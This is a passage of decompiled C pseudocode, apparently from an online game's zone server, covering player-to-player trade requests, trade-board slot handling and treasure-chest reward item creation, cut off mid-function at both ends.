(__thiscall **)(void *))(v22 + 836))(v20); v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 1144))(v20); v24 = *(_DWORD *)v20; *(int *)((char *)&v58 + 2) = v23 + 3368; v60 = (*(int (__thiscall **)(void *))(v24 + 2004))(v20); v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 800))(v20); v26 = *(_DWORD *)v20; nTo = v25; v27 = *(_WORD *)((*(int (__thiscall **)(void *))(v26 + 2004))(v20) + 4); *(_WORD *)(v10 + 12) = v70; *(_WORD *)(v10 + 14) = v27; v28 = *(_DWORD *)v4; v62 = v27; v29 = (*(int (__thiscall **)(int))(v28 + 2004))(v4); ++*(_WORD *)(v29 + 4); v30 = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 2004))(v20); ++*(_WORD *)(v30 + 4); v31 = *(_DWORD *)v15; v32 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 796))(v4); (*(void (__thiscall **)(int, _DWORD))(v31 + 40))(v68, *(_WORD *)(v32 + 16)); v33 = *(_DWORD *)v60; v34 = (*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 796))(v20); (*(void (__thiscall **)(int, _DWORD))(v33 + 40))(v60, *(_WORD *)(v34 + 16)); v35 = (*(int (__stdcall **)(int *, void **, int))(**(_DWORD **)(v4 + 68579) + 800))(&v64, &err, v10); TradeBoard::tb_FillCen((void *)(v4 + 68579), (int)((char *)&A + 2), (int)&B, v35, 19, 36, 36); if ( TradeBoard::tb_FillTradeBuffer((int)((char *)&A + 2), (int)&B, v10, (int)&err) ) { v37 = 26 * *(_BYTE *)(v10 + 41) + 44; v38 = ProtocolPacket::pp_SetPacketLen(&gpp, 26 * *(_BYTE *)(v10 + 41) + 44); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v38, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ : Packet Too Long", v37) ) { v39 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v39); } v40 = *(_BYTE *)(v10 + 16); if ( v40 == 65 ) { v41 = nTo; v42 = *(_QWORD *)(v10 + 17); v43 = (CCharacterTitleZone *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1052))(v4); CCharacterTitleZone::CT_MoneyGive(v43, v42, v41); v44 = nFrom; v45 = *(_QWORD *)(v10 + 17); v46 = (CCharacterTitleZone *)(*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 1052))(v20); CCharacterTitleZone::CT_MoneyBeg(v46, v45, v44); } else { if ( v40 == 66 ) { v47 = nTo; v48 = *(_QWORD *)(v10 + 17); v49 = (CCharacterTitleZone *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1052))(v4); CCharacterTitleZone::CT_MoneyBeg(v49, v48, v47); v50 = nFrom; v51 = *(_QWORD *)(v10 + 17); v52 = (CCharacterTitleZone *)(*(int (__thiscall **)(void *))(*(_DWORD *)v20 + 1052))(v20); CCharacterTitleZone::CT_MoneyGive(v52, v51, v50); } } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 808))(v4, 1); (*(void (__stdcall **)(signed int))(*(_DWORD *)v58 + 808))(1); } else { v36 = (unsigned __int16)err; (*(void (__thiscall **)(int, signed int, signed int, _DWORD))(*(_DWORD *)v4 + 776))( v4, 19, 35, (unsigned __int16)err); (*(void (__thiscall **)(_DWORD, signed int, signed int, int))(**(_DWORD **)(v4 + 68579) + 776))( *(_DWORD *)(v4 + 68579), 19, 35, v36); ShineObjectClass::ShineObject::so_CloseTradeMenu((void *)v4); ShineObjectClass::ShineObject::so_CloseTradeMenu(v20); (*(void (__stdcall **)(int))(*(_DWORD *)v71 + 40))(v72); (*(void (__stdcall **)(int))(*(_DWORD *)v63 + 40))(v66); } } else { (*(void (__thiscall **)(int, signed int, signed int))(v9 + 772))(v4, 19, 33); (*(void (__stdcall **)(signed int, signed int))(**(_DWORD **)v5 + 772))(19, 34); } v73 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005615B0) -------------------------------------------------------- signed int __thiscall TradeBoard::tb_OffBoard(void *this, signed int boardslot) { void *v2; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_OffBoard"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( boardslot >= 12 ) goto LABEL_4; if ( *((_BYTE *)v2 + boardslot + 6) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_OffBoard : Down empty", 0); LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); return -1; } *((_BYTE *)v2 + boardslot + 6) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OffBoard"); return boardslot; } //----- (005616A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 int v6; // ebx@5 int v7; // edx@14 int v8; // eax@14 int v9; // ebp@14 char v10; // al@14 char *v11; // edi@16 char v12; // al@16 int v13; // eax@17 char v14; // al@18 int v15; // eax@19 char *v16; // [sp+4h] [bp-2Ch]@4 signed int v17; // [sp+4h] [bp-2Ch]@6 int slot; // [sp+18h] [bp-18h]@14 FunctionEntarance _; // [sp+1Ch] [bp-14h]@1 int v20; // [sp+20h] [bp-10h]@14 int v21; // [sp+2Ch] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S3_51 & 1) ) { _S3_51 |= 1u; stru_130DF9E8.cmc_AllowMode = 126; atexit(_E4_44); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & stru_130DF9E8.cmc_AllowMode) ) { v16 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; LABEL_13: --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16); return; } v5 = *(_DWORD *)(v4 + 68579); v6 = v4 + 68579; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Not activ", 0); v17 = 2114; LABEL_11: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 18, v17); goto LABEL_12; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68579)) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); LABEL_12: v16 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ"; goto LABEL_13; } if ( *(_BYTE *)(v4 + 68583) ) { AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Locked", *(_BYTE *)(v4 + 68583) == 0); v17 = 2115; goto LABEL_11; } v7 = *(_DWORD *)v4; slot = *(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int))(v7 + 2004))(v4); v9 = *(_DWORD *)v8; v20 = v8; v10 = TradeBoard::tb_Get((void *)(v4 + 68579), (int)&slot); (*(void (__thiscall **)(int, signed int, _DWORD))(v9 + 36))(v20, 9, (unsigned __int8)v10); slot = TradeBoard::tb_OffBoard((void *)(v4 + 68579), *(_BYTE *)(netcmd + 2)); if ( slot == -1 ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 19, 18, 2119); } else { (*(void (__thiscall **)(int, int))(*(_DWORD *)v5 + 2000))(v5, v4); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19475; v11[2] = slot; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Packet Too Long", 3) ) { v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } *(_WORD *)v11 = 19476; v11[2] = slot; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ : Packet Too Long", 3) ) { v15 = (*(int (**)(void))(**(_DWORD **)v6 + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, *(_DWORD *)v6, &gpp); } } v21 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00561920) -------------------------------------------------------- signed int __thiscall TradeBoard::tb_OnBoard(void *this, char invenslot) { void *v2; // edi@1 signed int v3; // esi@1 signed int result; // eax@16 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_OnBoard"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; while ( *((_BYTE *)v2 + v3 + 6) != -1 ) { if ( *((_BYTE *)v2 + v3 + 7) == -1 ) { ++v3; break; } if ( *((_BYTE *)v2 + v3 + 8) == -1 ) { v3 += 2; break; } if ( *((_BYTE *)v2 + v3 + 9) == -1 ) { v3 += 3; break; } if ( *((_BYTE *)v2 + v3 + 10) == -1 ) { v3 += 4; break; } if ( *((_BYTE *)v2 + v3 + 11) == -1 ) { v3 += 5; break; } v3 += 6; if ( v3 >= 12 ) break; } if ( v3 == 12 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); result = -1; } else { *((_BYTE *)v2 + v3 + 6) = invenslot; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); result = v3; } return result; } //----- (00561A20) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ(int a1, int a2, int netcmd, int ii, __int16 handle) { int v5; // esi@1 int v6; // eax@12 int v7; // ST24_4@14 signed int v8; // eax@14 int v9; // ebx@16 int v10; // eax@28 char *v11; // edi@28 char v12; // al@28 char v13; // al@28 int v14; // eax@29 char *v15; // eax@30 int v16; // ST20_4@30 char v17; // al@30 int v18; // eax@31 signed int v19; // [sp+24h] [bp-28h]@5 FunctionEntarance _; // [sp+34h] [bp-18h]@1 int v21; // [sp+38h] [bp-14h]@4 int v22; // [sp+3Ch] [bp-10h]@4 int v23; // [sp+48h] [bp-4h]@1 ItemInfo *iia; // [sp+54h] [bp+8h]@22 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; if ( !(_S3_52 & 1) ) { _S3_52 |= 1u; stru_130DF9F0.cmc_AllowMode = 126; atexit(_E4_45); } if ( !((1 << **(_BYTE **)(v5 + 3568)) & stru_130DF9F0.cmc_AllowMode) ) goto LABEL_11; v21 = v5 + 68579; v22 = *(_DWORD *)(v5 + 68579); if ( !v22 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Not activ", 0); v19 = 2114; LABEL_10: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14, v19); goto LABEL_11; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v22) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v5); LABEL_11: --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); return; } if ( *(_BYTE *)(v5 + 68583) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Locked", *(_BYTE *)(v5 + 68583) == 0); v19 = 2115; goto LABEL_10; } v6 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 2004))(v5, a2); if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v6 + 16))( v6, 9, *(_BYTE *)(netcmd + 2)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14); v23 = -1; } else { v7 = *(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int, int))(*(_DWORD *)(v5 + 35680) + 4))(v5 + 35680, v5 + 142688); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v8, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Too large slot", v7) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14); v23 = -1; } else { v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v5 + 35680))(v5 + 35680, *(_BYTE *)(netcmd + 2)); if ( AssertClass::operator__( &shineassert, *(_WORD *)(v9 + 8) != -1, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Upboard empty cell", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); } else { if ( ItemBelongAttribute::iba_Judge( &g_ItmBelongAttr, CItemAuthorityBase::IA_CanPlayerTrade, (ItemInventoryCell *)v9) ) { if ( ItemGroupClassifier::igc_ChargedDuringUse( &itemgroupclassifier, *(ItemAttributeClass **)(v9 + 112), (ItemTotalInformation *)v9) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); } else { iia = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v9 + 8))->data; if ( iia ) { if ( (*(int (__stdcall **)(int))(**(_DWORD **)(v9 + 112) + 24))(v9 + 8) <= iia->MaxLot ) { if ( TradeBoard::tb_OnBoard((void *)v22, *(_BYTE *)(netcmd + 2)) == -1 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); } else { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v10 + 44))(v10); (*(void (__stdcall **)(int))(*(_DWORD *)v22 + 2000))(v5); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19471; v12 = *(_BYTE *)(netcmd + 2); v11[3] = netcmd; v11[2] = v12; v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Packet Too Long", 4) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v5, &gpp); } *(_WORD *)v11 = 19472; v11[2] = netcmd; v15 = ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v9, *(ItemAttributeClass **)(v9 + 112), *(_WORD *)(v9 + 8), v11 + 3); v16 = v15 - v11; v17 = ProtocolPacket::pp_SetPacketLen(&gpp, v15 - v11); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Packet Too Long", v16) ) { v18 = (*(int (**)(void))(**(_DWORD **)v21 + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v18 + 12))( v18, *(_DWORD *)v21, &gpp); } } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); } } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); } } v23 = -1; } } FunctionEntarance::_FunctionEntarance(&_); } // 561A20: could not find valid save-restore pair for ebp //----- (00561E40) -------------------------------------------------------- int __thiscall TreasureChestMaker::tcm_GetItemNum(TreasureChestMaker *this) { return this->tcm_ItemNum; } //----- (00561E50) -------------------------------------------------------- void __thiscall ItemListMaker::ItemListMaker(ItemListMaker *this, unsigned __int16 invtype) { ItemListMaker *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemListMaker::ItemListMaker"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemListMaker::ItemListMaker"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->ilm_ItemNum = 0; v2->ilm_InvenType = invtype; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemListMaker::ItemListMaker"); } //----- (00561EC0) -------------------------------------------------------- unsigned __int16 __thiscall ItemListMaker::ilm_ItemMake(ItemListMaker *this, ItemTotalInformation *iti) { ItemListMaker *v2; // ebx@1 int v3; // edx@1 unsigned __int16 result; // ax@2 signed int v5; // edi@3 int v6; // edi@5 unsigned __int16 v7; // si@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemListMaker::ilm_ItemMake"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemListMaker::ilm_ItemMake"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( iti ) { v5 = v2->ilm_ItemNum; if ( v5 < 8 ) { v6 = (int)((char *)v2 + 111 * v5); memcpy((void *)v6, iti, 0x6Cu); v6 += 108; *(_WORD *)v6 = *(_WORD *)((char *)&iti->iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v6 + 2) = BYTE3(iti->iti_itemstruct.itemattr.binditem.portal[9].y); ++v2->ilm_ItemNum; v7 = iti->iti_itemstruct.itemid; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemListMaker::ilm_ItemMake"); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, "ItemListMaker::ilm_ItemMake : Too many content", v5 < 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemListMaker::ilm_ItemMake"); result = -1; } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemListMaker::ilm_ItemMake"); result = -1; } return result; } //----- (00562000) -------------------------------------------------------- int __thiscall ItemListMaker::ilm_PutInto(ItemListMaker *this, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType) { ItemListMaker *v5; // ebx@1 int result; // eax@2 PROTO_ITEM_CMD *v7; // eax@3 PROTO_ITEM_CMD *v8; // esi@3 ItemListMaker *v9; // ebp@4 int v10; // edi@5 ItemAttributeClass *v11; // eax@6 char v12; // al@6 int v13; // esi@10 int i; // [sp+8h] [bp-18h]@3 ItemListMaker *v15; // [sp+Ch] [bp-14h]@1 v5 = this; v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemListMaker::ilm_PutInto"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemListMaker::ilm_PutInto"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v5->ilm_ItemNum ) { v7 = itmlst; itmlst->numofitem = 0; v8 = itmlst + 1; i = 0; if ( v5->ilm_ItemNum > 0 ) { v9 = v5; while ( 1 ) { v10 = v9->ilm_List[0].iti_itemstruct.itemid; if ( !(ItemDataBox::operator__(&itemdatabox, v9->ilm_List[0].iti_itemstruct.itemid)->data != 0) ) { AssertClass::ac_AssertFail( &shineassert, "ItemListMaker::ilm_PutInto : Invalid ItemID found", (unsigned __int16)v10); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemListMaker::ilm_PutInto"); return 0; } *(_WORD *)&v8[1].numofitem = v5->ilm_InvenType << 10; v11 = ItemAttributeClassContainer::operator__(&itmattcontainer, v10); v12 = (char)&ItemTotalInformation::iti_fill2buffer_whole(v9->ilm_List, v11, v10, &v8[3].numofitem)[-(_BYTE)v8 - 1]; v8->numofitem = v12; v8 += (unsigned __int8)v12 + 1; ++itmlst->numofitem; v9 = (ItemListMaker *)((char *)v9 + 111); ++i; if ( i >= v15->ilm_ItemNum ) break; v5 = v15; } v7 = itmlst; } v13 = v8 - v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemListMaker::ilm_PutInto"); result = v13; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemListMaker::ilm_PutInto"); result = 0; } return result; } //----- (005621B0) -------------------------------------------------------- void __thiscall TreasureChestMaker::TreasureChestMaker(TreasureChestMaker *this, unsigned __int16 chest, int makeflag, int chestflag) { TreasureChestMaker *v4; // esi@1 int v5; // ST0C_4@3 CServerInfo::MY_SERVER *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::TreasureChestMaker"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::TreasureChestMaker"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4->tcm_ItemNum = 0; if ( ItemDataBox::operator__(&itemdatabox, chest)->data->Class == 15 ) { v5 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v6 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(v4->tcm_rewarditem, chest, makeflag, v6->nZoneNo, v5); v4->tcm_rewarditem[0].iti_itemstruct.itemid = chest; v4->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot = 16 * chestflag; v4->tcm_ItemNum = 1; } else { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::TreasureChestMaker : Not ItemChest", chest); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::TreasureChestMaker"); } //----- (005622C0) -------------------------------------------------------- void __thiscall TreasureChestMaker::_TreasureChestMaker(TreasureChestMaker *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::~TreasureChestMaker"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::~TreasureChestMaker"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::~TreasureChestMaker"); } //----- (00562300) -------------------------------------------------------- unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, ItemTotalInformation *iti) { TreasureChestMaker *v2; // ebx@1 int v3; // edx@1 unsigned __int16 result; // ax@2 signed int v5; // edi@3 int v6; // edi@5 unsigned __int16 v7; // si@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( iti ) { v5 = v2->tcm_ItemNum; if ( v5 <= 8 ) { v6 = (int)((char *)v2 + 111 * v5); memcpy((void *)v6, iti, 0x6Cu); v6 += 108; *(_WORD *)v6 = *(_WORD *)((char *)&iti->iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v6 + 2) = BYTE3(iti->iti_itemstruct.itemattr.binditem.portal[9].y); *(_QWORD *)&v2->tcm_rewarditem[0].iti_registnum.binary.gap0[8 * v2->tcm_ItemNum++ + 3] = *(_QWORD *)&iti->iti_registnum.binary.gap0[0]; v7 = iti->iti_itemstruct.itemid; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Too many content", v5 <= 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = -1; } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = -1; } return result; } //----- (00562450) -------------------------------------------------------- unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, int makeflag, ShineReward *reward, unsigned int clsmask) { TreasureChestMaker *v4; // esi@1 signed int v5; // edx@1 int v6; // eax@3 int v7; // edi@3 int v9; // ST0C_4@9 CServerInfo::MY_SERVER *v10; // eax@9 ItemAttributeClass *v11; // eax@9 ItemDataBox::ItemDataBoxIndex *v12; // eax@9 ItemInfoServer *v13; // eax@10 char *v14; // eax@11 ItemRandomOption::RandomOptionDatum *v15; // ebx@12 ItemAttributeClass *v16; // eax@12 ItemOptionStorage *v17; // eax@12 int v18; // eax@15 int v19; // edx@15 char *v20; // [sp-4h] [bp-24h]@2 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v22; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->tcm_ItemNum; v22 = 0; if ( v5 >= 8 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Too many content", v5 < 8); v22 = -1; v20 = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); return -1; } LOWORD(v6) = ItemGroupClassifier::igc_Getitem(&itemgroupclassifier, reward->Argument, clsmask); v7 = v6; if ( (_WORD)v6 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Item not found", reward->Argument); LABEL_5: v22 = -1; v20 = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; goto LABEL_6; } if ( ItemDataBox::operator__(&itemdatabox, v6) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Invalid item", (unsigned __int16)v7); goto LABEL_5; } v9 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v10 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)v4 + v4->tcm_ItemNum, v7, makeflag, v10->nZoneNo, v9); v4->tcm_rewarditem[v4->tcm_ItemNum].iti_itemstruct.itemid = v7; v11 = ItemAttributeClassContainer::operator__(&itmattcontainer, v7); (*(void (__thiscall **)(ItemAttributeClass *, int, ShineReward *, char *))((void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))&v11->vfptr->iac_GetAttrSize + 1))( v11, v7, reward, (char *)v4 + 111 * v4->tcm_ItemNum); v12 = ItemDataBox::operator__(&itemdatabox, v7); if ( !v12 || (v13 = v12->dataserv) == 0 || (v14 = v13->RandomOptionDropGroup) == 0 ) goto LABEL_5; v15 = 